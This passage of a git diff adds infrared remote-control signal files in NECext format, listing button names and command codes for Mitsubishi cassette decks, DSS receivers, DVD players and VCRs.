+address: 77 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4C 00 00 00 +# +name: TAPE_1/2_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4D 00 00 00 +# +name: TAPE1_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 80 00 00 00 +# +name: TAPE1_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 81 00 00 00 +# +name: TAPE1_MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 82 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 84 00 00 00 +# +name: TAPE2_PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 85 00 00 00 +# +name: TAPE1_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 86 00 00 00 +# +name: TAPE2_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 87 00 00 00 +# +name: TAPE1_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 88 00 00 00 +# +name: TAPE1_0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 89 00 00 00 +# +name: TAPE1_ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8A 00 00 00 +# +name: TAPE1_REC +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8C 00 00 00 +# +name: TAPE1_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 +# +name: TAPE2_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8F 00 00 00 +# +name: TAPE1_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 90 00 00 00 +# +name: TAPE1_CANCEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 92 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 94 00 00 00 +# +name: TAPE2_STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 95 00 00 00 +# +name: TAPE1_REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 97 00 00 00 +# +name: TAPE1_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 98 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 9C 00 00 00 +# +name: TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 9D 00 00 00 +# +name: TAPE1_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A0 00 00 00 +# +name: TAPE1_AUDIO_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A2 00 00 00 +# +name: TAPE1_FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A4 00 00 00 +# +name: TAPE2_FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A5 00 00 00 +# +name: TAPE1_DISPLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A7 00 00 00 +# +name: TAPE1_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A8 00 00 00 +# +name: TAPE1_AUDIO_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AA 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AC 00 00 00 +# +name: TAPE2_REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AD 00 00 00 +# +name: TAPE1_INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AE 00 00 00 +# +name: TAPE2_INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AF 00 00 00 +# +name: TAPE1_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B0 00 00 00 +# +name: TAPE1_ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B2 00 00 00 +# +name: TAPE1_PLAY_R._< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B4 00 00 00 +# +name: TAPE2_PLAY_R._< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B5 00 00 00 +# +name: TAPE1_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B8 00 00 00 +# +name: TAPE1_ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: BA 00 00 00 +# +name: TAPE1_B +type: parsed +protocol: NECext +address: 77 00 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir new file mode 100644 index 000000000..53fcca358 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_1_PLAY_> +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_1_PLAY_REV_< +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_1_STOP_[] +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_1_FF_>> +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_1_REW_<< +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_1_BLANK_SKIP +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 09 00 00 00 +# +name: TAPE_1_MPSS +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 0A 00 00 00 +# +name: TAPE_2_AUTO_MUTE +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 0B 00 00 00 +# +name: TAPE_2_PLAY_> +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 10 00 00 00 +# +name: TAPE_2_PLAY_REV_< +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 11 00 00 00 +# +name: TAPE_2_STOP_[] +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 12 00 00 00 +# +name: TAPE_2_FF_>> +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 13 00 00 00 +# +name: TAPE_2_REW_<< +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 14 00 00 00 +# +name: TAPE_2_REC/PAUSE_ +type: parsed +protocol: NECext +address: 8A 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir new file mode 100644 index 000000000..8bd926697 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 09 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0A 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0D 00 00 00 +# +name: AUTO_SPACE +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 0E 00 00 00 +# +name: PROG/EDIT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 10 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 11 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 13 00 00 00 +# +name: A<->B +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 14 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 15 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 16 00 00 00 +# +name: FR_<< +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1B 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1C 00 00 00 +# +name: FS_>> +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1D 00 00 00 +# +name: RS_<< +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1E 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 8D 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir new file mode 100644 index 000000000..6777fbfec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: SPORTS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: NEWS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: SERVICES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: ALPHA_OR_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: HD/SD +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir new file mode 100644 index 000000000..9feb3acf3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir new file mode 100644 index 000000000..3aad96df0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir new file mode 100644 index 000000000..67f07d928 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir @@ -0,0 +1,458 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 04 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 04 00 00 00 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0C 00 00 00 +# +name: T/C +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 10 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 14 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 14 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 18 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1B 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1C 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1C 00 00 00 +# +name: PAUSE/STEP_/> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1C 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 1E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 24 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 24 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 25 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 25 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 25 00 00 00 +# +name: FL_DIMMER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 27 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 28 00 00 00 +# +name: 3D-DNR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2B 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2D 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 30 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 34 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 34 00 00 00 +# +name: SLOW_MOTION_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 34 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 34 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 35 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 36 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 38 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3D 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3D 00 00 00 +# +name: A-B_RPT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 3E 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 40 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 41 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 49 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 49 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 49 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 50 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 52 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 60 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 60 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 63 00 00 00 +# +name: SUB-TITLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 63 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 64 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 65 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 65 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 65 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 65 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 66 00 00 00 +# +name: SUB_ON +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 67 00 00 00 +# +name: SUB-TITLE_ON/OFF +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 67 00 00 00 +# +name: SUBTITLE_ON_OFF +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 67 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6D 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir new file mode 100644 index 000000000..bbba9bbd3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_AUDIO_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_JOG/ADJ+(IN_SRCH) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_JOG/ADJ-(IN_SRCH) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir new file mode 100644 index 000000000..8bb261caf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCR_PLAY> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCR_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCR_JOG/ADJ+(IND_SRC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_STOP[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_JOG/ADJ-(IND_SRC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_FFWD>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_REW<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_AUDIO/VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir new file mode 100644 index 000000000..1deca1f4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 02 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 04 00 00 00 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 09 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 67 00 00 00 +command: 0B 00 00 